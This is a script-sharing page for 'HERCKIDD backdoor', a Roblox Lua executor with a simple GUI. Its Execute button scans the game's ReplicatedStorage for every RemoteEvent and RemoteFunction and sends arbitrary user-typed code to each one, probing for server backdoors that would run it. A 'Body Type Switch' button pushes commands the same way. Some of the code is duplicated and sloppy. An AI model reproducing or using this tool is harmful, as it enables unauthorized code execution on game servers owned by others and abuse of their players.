HERCKIDD backdoor
Key RequiredUniversal

HERCKIDD backdoor

Universal ScriptH4RCKIDDXDH4RCKIDDXD 1K views 60 executesUpdated Feb 2, 2026
Unrated
00
Lua Script•305 lines (9168 chars)
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local StarterGui = game:GetService("StarterGui")

-- Click sound helper
local function playClickSound(parent)
	local sound = Instance.new("Sound")
	sound.SoundId = "rbxassetid://7593297942"
	sound.Volume = 1
	sound.Parent = parent
	sound:Play()
	sound.Ended:Connect(function()
		sound:Destroy()
	end)
end

-- Function to scan for all RemoteEvents and RemoteFunctions
local function scanForBackdoors()
	local potentialBackdoors = {}
	for _, obj in pairs(ReplicatedStorage:GetChildren()) do
		if obj:IsA("RemoteEvent") or obj:IsA("RemoteFunction") then
			table.insert(potentialBackdoors, obj)
		end
	end
	return potentialBackdoors
end

-- Function to send Roblox notification
local function sendNotification(title, message, duration)
	pcall(function()
		StarterGui:SetCore("SendNotification", {
			Title = title,
			Text = message,
			Duration = duration or 5
		})
	end)
end

-- Track body type toggle
local isR15 = true

local function loadMainGui()
	local ScreenGui = Instance.new("ScreenGui")
	ScreenGui.Name = "HerckiddExecutor"
	ScreenGui.Parent = PlayerGui
	ScreenGui.ResetOnSpawn = false

	-- Main Frame
	local MainFrame = Instance.new("Frame")
	MainFrame.Size = UDim2.new(0, 400, 0, 260)
MainFrame.Position = UDim2.new(0.5, -200, 0.5, -130)
	MainFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
	MainFrame.BackgroundTransparency = 0.5
	MainFrame.BorderColor3 = Color3.fromRGB(48, 216, 22)
	MainFrame.BorderSizePixel = 2
	MainFrame.Active = true
	MainFrame.Draggable = true
	MainFrame.Parent = ScreenGui

	-- Profile picture
	local ProfilePic = Instance.new("ImageLabel")
	ProfilePic.Size = UDim2.new(0, 140, 0, 140)
	ProfilePic.BackgroundTransparency = 1
	ProfilePic.BorderSizePixel = 2
	ProfilePic.BorderColor3 = Color3.fromRGB(255, 0, 0)
	ProfilePic.Parent = MainFrame
	ProfilePic.Rotation = 10
	ProfilePic.ZIndex = 1

	-- Title
	local Title = Instance.new("TextLabel")
	Title.Size = UDim2.new(1, 0, 0, 40)
	Title.Position = UDim2.new(0.2, 0, 0, 0)
	Title.BackgroundTransparency = 1
	Title.Text = "Herckidd faCK roblox"
	Title.Font = Enum.Font.GothamBlack
	Title.TextSize = 22
	Title.TextColor3 = Color3.fromRGB(255, 255, 255)
	Title.TextWrapped = true
	Title.Parent = MainFrame
	Title.ZIndex = 2

	-- Auto Username Fill Button
	local AutoFillBtn = Instance.new("TextButton")
	AutoFillBtn.Size = UDim2.new(0, 140, 0, 26)
AutoFillBtn.Position = UDim2.new(0, 10, 0, 8)
AutoFillBtn.AnchorPoint = Vector2.new(0, 0)
	AutoFillBtn.BackgroundColor3 = Color3.fromRGB(0, 200, 0)
	AutoFillBtn.Text = "Auto Username Fill"
	AutoFillBtn.Font = Enum.Font.GothamBold
	AutoFillBtn.TextSize = 14
	AutoFillBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
	AutoFillBtn.Parent = MainFrame
	AutoFillBtn.ZIndex = 3

	-- TextBox for command/code
	local UsernameBox = Instance.new("TextBox")
	UsernameBox.Size = UDim2.new(0.9, 0, 0, 130)
	UsernameBox.Position = UDim2.new(0.05, 0, 0, 45)
	UsernameBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
	UsernameBox.TextColor3 = Color3.fromRGB(255, 255, 255)
	UsernameBox.Text = "Made by NyancatK1ng!!!"
	UsernameBox.Font = Enum.Font.Code
	UsernameBox.TextSize = 18
	UsernameBox.ClearTextOnFocus = false
	UsernameBox.MultiLine = true
	UsernameBox.TextWrapped = true
	UsernameBox.Parent = MainFrame
	UsernameBox.ZIndex = 2

	-- Profile picture repositioning
	RunService.RenderStepped:Connect(function()
		local tbPos = UsernameBox.Position
		local tbSize = UsernameBox.Size
		local picSize = ProfilePic.Size
		ProfilePic.Position = UDim2.new(
			tbPos.X.Scale + tbSize.X.Scale - picSize.X.Scale - 0.05,
			tbPos.X.Offset + tbSize.X.Offset - picSize.X.Offset - 10,
			tbPos.Y.Scale,
			tbPos.Y.Offset - picSize.Y.Offset + 25
		)
	end)

	-- Always show Megadan13098's profile picture
	local thumbType = Enum.ThumbnailType.HeadShot
	local thumbSize = Enum.ThumbnailSize.Size420x420
	local success, url = pcall(function()
		local userId = Players:GetUserIdFromNameAsync("herckidd")
		return Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
	end)

	if success then
		ProfilePic.Image = url
	else
		ProfilePic.Image = "rbxassetid://0"
	end

	-- Button styling helper
	local function styleButton(button)
		button.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
		button.BorderColor3 = Color3.fromRGB(48, 216, 22)
		button.BorderSizePixel = 2
		button.TextColor3 = Color3.fromRGB(48, 216, 22)
	end

	-- AutoFill functionality (WITH CLICK SOUND)
AutoFillBtn.MouseButton1Click:Connect(function()
	playClickSound(AutoFillBtn)

	local input = UsernameBox.Text
	for _, plr in pairs(Players:GetPlayers()) do
		if plr.Name:lower():sub(1, #input) == input:lower() then
			UsernameBox.Text = plr.Name
			break
		end
	end
end)

	-- Button actions
	local bottomButtons = {
		{
			Name = "Execute",
			Action = function()
				local code = UsernameBox.Text
				local backdoors = scanForBackdoors()
				if #backdoors > 0 then
					for _, backdoor in ipairs(backdoors) do
						sendNotification("Herckidd Executor", "Attempting to use: " .. backdoor.Name, 5)
						local success, err = pcall(function()
							if backdoor:IsA("RemoteEvent") then
								backdoor:FireServer(code)
							elseif backdoor:IsA("RemoteFunction") then
								backdoor:InvokeServer(code)
							end
						end)
						if not success then
							warn("Error using " .. backdoor.Name .. ": " .. err)
							sendNotification("Herckidd Executor", "Error: " .. err, 5)
						else
							sendNotification("Herckidd Executor", "Executed on " .. backdoor.Name, 5)
						end
					end
				else
					sendNotification("Herckidd Executor", "No RemoteEvents or RemoteFunctions found", 5)
				end
			end
		},
		{
			Name = "Clear",
			Action = function()
				UsernameBox.Text = ""
			end
		},
		{
			Name = "Reset Character",
			Action = function()
				if LocalPlayer.Character then
					LocalPlayer.Character:BreakJoints()
				end
			end
		},
		{
			Name = "Body Type Switch",
			Action = function()
				isR15 = not isR15
				local targetBodyType = isR15 and "R15" or "R6"
				local command = "setBodyType " .. targetBodyType
				local backdoors = scanForBackdoors()
				if #backdoors > 0 then
					for _, backdoor in ipairs(backdoors) do
						sendNotification("Herckidd Executor", "Switching to " .. targetBodyType .. " via: " .. backdoor.Name, 5)
						pcall(function()
							if backdoor:IsA("RemoteEvent") then
								backdoor:FireServer(command)
							elseif backdoor:IsA("RemoteFunction") then
								backdoor:InvokeServer(command)
							end
						end)
					end
				else
					sendNotification("Herckidd Executor", "No RemoteEvents or RemoteFunctions found for body type switch", 5)
				end
			end
		}
	}

	-- Create bottom buttons
	local buttonWidth = 90
local buttonHeight = 28
local spacing = 6
	local startX = 10
	local bottomY = MainFrame.AbsoluteSize.Y - buttonHeight - 10

	for i, info in ipairs(bottomButtons) do
		local btn = Instance.new("TextButton")
		btn.Size = UDim2.new(0, buttonWidth, 0, buttonHeight)
		btn.Position = UDim2.new(0, startX + (i - 1) * (buttonWidth + spacing), 0, bottomY)
		btn.Text = info.Name
		btn.Font = Enum.Font.GothamBold
		btn.TextSize = 18
		btn.TextWrapped = true
		btn.Parent = MainFrame
		styleButton(btn)
		btn.MouseButton1Click:Connect(function()
	playClickSound(btn)
	info.Action(btn)
end)
		btn.ZIndex = 3
	end
end

-- Load GUI
loadMainGui()
-- Toggle Button (Open / Close)
local ToggleGui = Instance.new("ScreenGui")
ToggleGui.Name = "Herckidd_Toggle"
ToggleGui.Parent = PlayerGui
ToggleGui.ResetOnSpawn = false

local ToggleButton = Instance.new("TextButton")
ToggleButton.Size = UDim2.new(0, 80, 0, 30)
ToggleButton.Position = UDim2.new(1, -90, 0, 10) -- top-right
ToggleButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
ToggleButton.BorderColor3 = Color3.fromRGB(255, 0, 0)
ToggleButton.BorderSizePixel = 2
ToggleButton.Text = "CLOSE"
ToggleButton.TextColor3 = Color3.fromRGB(48, 216, 22)
ToggleButton.Font = Enum.Font.GothamBold
ToggleButton.TextSize = 14
ToggleButton.Parent = ToggleGui

-- TOGGLE BUTTON
local ToggleGui = Instance.new("ScreenGui")
ToggleGui.Name = "Herckidd_Toggle"
ToggleGui.Parent = PlayerGui
ToggleGui.ResetOnSpawn = false

local ToggleButton = Instance.new("TextButton")
ToggleButton.Size = UDim2.new(0,80,0,30)
ToggleButton.Position = UDim2.new(1,-90,0,10)
ToggleButton.Text = "CLOSE"
ToggleButton.BackgroundColor3 = Color3.new(48,216,22)
ToggleButton.BorderColor3 = Color3.fromRGB(48,216,22)
ToggleButton.BorderSizePixel = 2
	ToggleButton.TextColor3 = Color3.new(1,1,1)
ToggleButton.Font = Enum.Font.GothamBold
ToggleButton.TextSize = 14
ToggleButton.Parent = ToggleGui

local toggleSound = Instance.new("Sound", ToggleButton)
toggleSound.SoundId = "rbxassetid://7593297942"
toggleSound.Volume = 1

local open = true
ToggleButton.MouseButton1Click:Connect(function()
	toggleSound:Play()
	open = not open
	if PlayerGui:FindFirstChild("HerckiddExecutor") then
		PlayerGui.HerckiddExecutor.Enabled = open
	end
	ToggleButton.Text = open and "CLOSE" or "OPEN"
end)

Features & Information

Backdoor

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts